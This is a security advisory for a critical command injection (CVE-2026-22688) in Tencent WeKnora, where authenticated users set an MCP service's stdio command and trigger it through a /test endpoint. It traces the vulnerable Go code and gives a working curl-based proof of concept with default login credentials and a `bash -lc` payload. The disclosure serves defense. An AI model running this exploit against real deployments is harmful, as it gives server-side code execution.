Skip to content

Command Injection in (MCP stdio test) in Tencent/WeKnora

Critical
lyingbug published GHSA-78h3-63c4-5fqc Jan 9, 2026

Package

gomod internal/mcp/client.go (Go)

Affected versions

< 0.2.5

Patched versions

None

Description

Vulnerability Description


Vulnerability Overview

This issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values.

The root causes are as follows:

  • Missing Security Filtering: When transport_type=stdio, there is no validation on stdio_config.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options.
  • Functional Flaw (Trust Boundary Violation): The command/args stored as "service configuration data" are directly used in the /test execution flow and connected to execution sinks without validation.
  • Lack of Authorization Control: This functionality effectively allows "process execution on the server" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only).

Vulnerable Code

  1. API Route Registration (path where endpoints are created)
    ****

    // 认证中间件
    r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config))
    // 添加OpenTelemetry追踪中间件
    r.Use(middleware.TracingMiddleware())
    // 需要认证的API路由
    v1 := r.Group("/api/v1")
    {
    RegisterAuthRoutes(v1, params.AuthHandler)
    RegisterTenantRoutes(v1, params.TenantHandler)
    RegisterKnowledgeBaseRoutes(v1, params.KBHandler)
    RegisterKnowledgeTagRoutes(v1, params.TagHandler)
    RegisterKnowledgeRoutes(v1, params.KnowledgeHandler)
    RegisterFAQRoutes(v1, params.FAQHandler)
    RegisterChunkRoutes(v1, params.ChunkHandler)
    RegisterSessionRoutes(v1, params.SessionHandler)
    RegisterChatRoutes(v1, params.SessionHandler)
    RegisterMessageRoutes(v1, params.MessageHandler)
    RegisterModelRoutes(v1, params.ModelHandler)
    RegisterEvaluationRoutes(v1, params.EvaluationHandler)
    RegisterInitializationRoutes(v1, params.InitializationHandler)
    RegisterSystemRoutes(v1, params.SystemHandler)
    RegisterMCPServiceRoutes(v1, params.MCPServiceHandler)
    RegisterWebSearchRoutes(v1, params.WebSearchHandler)
    }

    func RegisterMCPServiceRoutes(r *gin.RouterGroup, handler *handler.MCPServiceHandler) {
    mcpServices := r.Group("/mcp-services")
    {
    // Create MCP service
    mcpServices.POST("", handler.CreateMCPService)
    // List MCP services
    mcpServices.GET("", handler.ListMCPServices)
    // Get MCP service by ID
    mcpServices.GET("/:id", handler.GetMCPService)
    // Update MCP service
    mcpServices.PUT("/:id", handler.UpdateMCPService)
    // Delete MCP service
    mcpServices.DELETE("/:id", handler.DeleteMCPService)
    // Test MCP service connection
    mcpServices.POST("/:id/test", handler.TestMCPService)
    // Get MCP service tools
    mcpServices.GET("/:id/tools", handler.GetMCPServiceTools)
    // Get MCP service resources
    mcpServices.GET("/:id/resources", handler.GetMCPServiceResources)
    }

     // 认证中间件
    	r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config))
    
    	// 添加OpenTelemetry追踪中间件
    	r.Use(middleware.TracingMiddleware())
    
    	// 需要认证的API路由
    	v1 := r.Group("/api/v1")
    	{
    		RegisterAuthRoutes(v1, params.AuthHandler)
    		RegisterTenantRoutes(v1, params.TenantHandler)
    		RegisterKnowledgeBaseRoutes(v1, params.KBHandler)
    		RegisterKnowledgeTagRoutes(v1, params.TagHandler)
    		RegisterKnowledgeRoutes(v1, params.KnowledgeHandler)
    		RegisterFAQRoutes(v1, params.FAQHandler)
    		RegisterChunkRoutes(v1, params.ChunkHandler)
    		RegisterSessionRoutes(v1, params.SessionHandler)
    		RegisterChatRoutes(v1, params.SessionHandler)
    		RegisterMessageRoutes(v1, params.MessageHandler)
    		RegisterModelRoutes(v1, params.ModelHandler)
    		RegisterEvaluationRoutes(v1, params.EvaluationHandler)
    		RegisterInitializationRoutes(v1, params.InitializationHandler)
    		RegisterSystemRoutes(v1, params.SystemHandler)
    		RegisterMCPServiceRoutes(v1, params.MCPServiceHandler)
    		RegisterWebSearchRoutes(v1, params.WebSearchHandler)
    	}
    func RegisterMCPServiceRoutes(r *gin.RouterGroup, handler *handler.MCPServiceHandler) {
    	mcpServices := r.Group("/mcp-services")
    	{
    		// Create MCP service
    		mcpServices.POST("", handler.CreateMCPService)
    		// List MCP services
    		mcpServices.GET("", handler.ListMCPServices)
    		// Get MCP service by ID
    		mcpServices.GET("/:id", handler.GetMCPService)
    		// Update MCP service
    		mcpServices.PUT("/:id", handler.UpdateMCPService)
    		// Delete MCP service
    		mcpServices.DELETE("/:id", handler.DeleteMCPService)
    		// Test MCP service connection
    		mcpServices.POST("/:id/test", handler.TestMCPService)
    		// Get MCP service tools
    		mcpServices.GET("/:id/tools", handler.GetMCPServiceTools)
    		// Get MCP service resources
    		mcpServices.GET("/:id/resources", handler.GetMCPServiceResources)
    	}
  2. User input (JSON) → types.MCPService binding (POST /api/v1/mcp-services)
    ****

    var service types.MCPService
    if err := c.ShouldBindJSON(&service); err != nil {
    logger.Error(ctx, "Failed to parse MCP service request", err)
    c.Error(errors.NewBadRequestError(err.Error()))
    return
    }
    tenantID := c.GetUint64(types.TenantIDContextKey.String())
    if tenantID == 0 {
    logger.Error(ctx, "Tenant ID is empty")
    c.Error(errors.NewBadRequestError("Tenant ID cannot be empty"))
    return
    }
    service.TenantID = tenantID
    if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil {

    	var service types.MCPService
    	if err := c.ShouldBindJSON(&service); err != nil {
    		logger.Error(ctx, "Failed to parse MCP service request", err)
    		c.Error(errors.NewBadRequestError(err.Error()))
    		return
    	}
    
    	tenantID := c.GetUint64(types.TenantIDContextKey.String())
    	if tenantID == 0 {
    		logger.Error(ctx, "Tenant ID is empty")
    		c.Error(errors.NewBadRequestError("Tenant ID cannot be empty"))
    		return
    	}
    	service.TenantID = tenantID
    
    	if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil {
  3. Taint propagation (storage): The bound service object is stored directly in the database without sanitization.
    ****

    func (r *mcpServiceRepository) Create(ctx context.Context, service *types.MCPService) error {
    return r.db.WithContext(ctx).Create(service).Error
    }

    func (r *mcpServiceRepository) Create(ctx context.Context, service *types.MCPService) error {
    	return r.db.WithContext(ctx).Create(service).Error
    }
  4. Sink execution: /test endpoint loads the service from the database → executes TestMCPService

    logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID))
    result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID)

    service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id)
    if err != nil {
    return nil, fmt.Errorf("failed to get MCP service: %w", err)
    }
    if service == nil {
    return nil, fmt.Errorf("MCP service not found")
    }
    // Create temporary client for testing
    config := &mcp.ClientConfig{
    Service: service,
    }
    client, err := mcp.NewMCPClient(config)
    if err != nil {
    return &types.MCPTestResult{
    Success: false,
    Message: fmt.Sprintf("Failed to create client: %v", err),
    }, nil
    }
    // Connect
    testCtx, cancel := context.WithTimeout(ctx, 30*time.Second)
    defer cancel()
    if err := client.Connect(testCtx); err != nil {
    return &types.MCPTestResult{

    	logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID))
    
    	result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID)
    	service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id)
    	if err != nil {
    		return nil, fmt.Errorf("failed to get MCP service: %w", err)
    	}
    	if service == nil {
    		return nil, fmt.Errorf("MCP service not found")
    	}
    
    	// Create temporary client for testing
    	config := &mcp.ClientConfig{
    		Service: service,
    	}
    
    	client, err := mcp.NewMCPClient(config)
    	if err != nil {
    		return &types.MCPTestResult{
    			Success: false,
    			Message: fmt.Sprintf("Failed to create client: %v", err),
    		}, nil
    	}
    
    	// Connect
    	testCtx, cancel := context.WithTimeout(ctx, 30*time.Second)
    	defer cancel()
    
    	if err := client.Connect(testCtx); err != nil {
    		return &types.MCPTestResult{
  5. Ultimate sink (subprocess execution): The command/args values from stdio configuration are directly used in the subprocess execution path.
    ****

    case types.MCPTransportStdio:
    if config.Service.StdioConfig == nil {
    return nil, fmt.Errorf("stdio_config is required for stdio transport")
    }
    // Convert env vars map to []string format (KEY=value)
    envVars := make([]string, 0, len(config.Service.EnvVars))
    for key, value := range config.Service.EnvVars {
    envVars = append(envVars, fmt.Sprintf("%s=%s", key, value))
    }
    // Create stdio client with options
    // NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption)
    mcpClient, err = client.NewStdioMCPClientWithOptions(
    config.Service.StdioConfig.Command,
    envVars,
    config.Service.StdioConfig.Args,
    )

    if err := c.client.Start(ctx); err != nil {
    return fmt.Errorf("failed to start client: %w", err)
    }

    	case types.MCPTransportStdio:
    		if config.Service.StdioConfig == nil {
    			return nil, fmt.Errorf("stdio_config is required for stdio transport")
    		}
    
    		// Convert env vars map to []string format (KEY=value)
    		envVars := make([]string, 0, len(config.Service.EnvVars))
    		for key, value := range config.Service.EnvVars {
    			envVars = append(envVars, fmt.Sprintf("%s=%s", key, value))
    		}
    
    		// Create stdio client with options
    		// NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption)
    		mcpClient, err = client.NewStdioMCPClientWithOptions(
    			config.Service.StdioConfig.Command,
    			envVars,
    			config.Service.StdioConfig.Args,
    		)
    	if err := c.client.Start(ctx); err != nil {
    		return fmt.Errorf("failed to start client: %w", err)
    	}

PoC


PoC Description

  • Obtain an authentication token.
  • Create an MCP service with transport_type=stdio, injecting the command to execute into stdio_config.command/args.
  • Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation).

PoC

  • Container state verification (pre-exploitation)

    docker exec -it WeKnora-app /bin/bash
    cd /tmp/; ls -l
    image
  • Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls.

    API="http://localhost:8080"
    EMAIL="admin@gmail.com"
    PASS="admin123"
    
    TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \
      -H "Content-Type: application/json" \
      -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')"
      
    echo "TOKEN=$TOKEN"
    image image
  • POST to /api/v1/mcp-services with transport_type=stdio and stdio_config to define the command and arguments to be executed on the server.

    CREATE_RES="$(curl -sS -X POST "$API/api/v1/mcp-services" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name":"rce",
        "description":"rce",
        "enabled":true,
        "transport_type":"stdio",
        "stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt"]},
        "env_vars":{}
      }')"
      
    MCP_ID="$(echo "$CREATE_RES" | jq -r '.data.id // empty')"
    echo "MCP_ID=$MCP_ID"
    image
  • Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess.

    curl -sS -X POST "$API/api/v1/mcp-services/$MCP_ID/test" \
      -H "Authorization: Bearer $TOKEN" | jq .
    image
  • Post-exploitation verification (container state)

    ls -l
    image

Impact


  • Remote Code Execution (RCE): Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption
  • Information Disclosure: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files
  • Privilege Escalation/Lateral Movement (Environment-Dependent): Impact may escalate based on container mounts, network policies, and internal service access permissions
  • Cross-Tenant Boundary Impact: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (exact scope is uncertain and varies by deployment setup)

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-22688

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Credits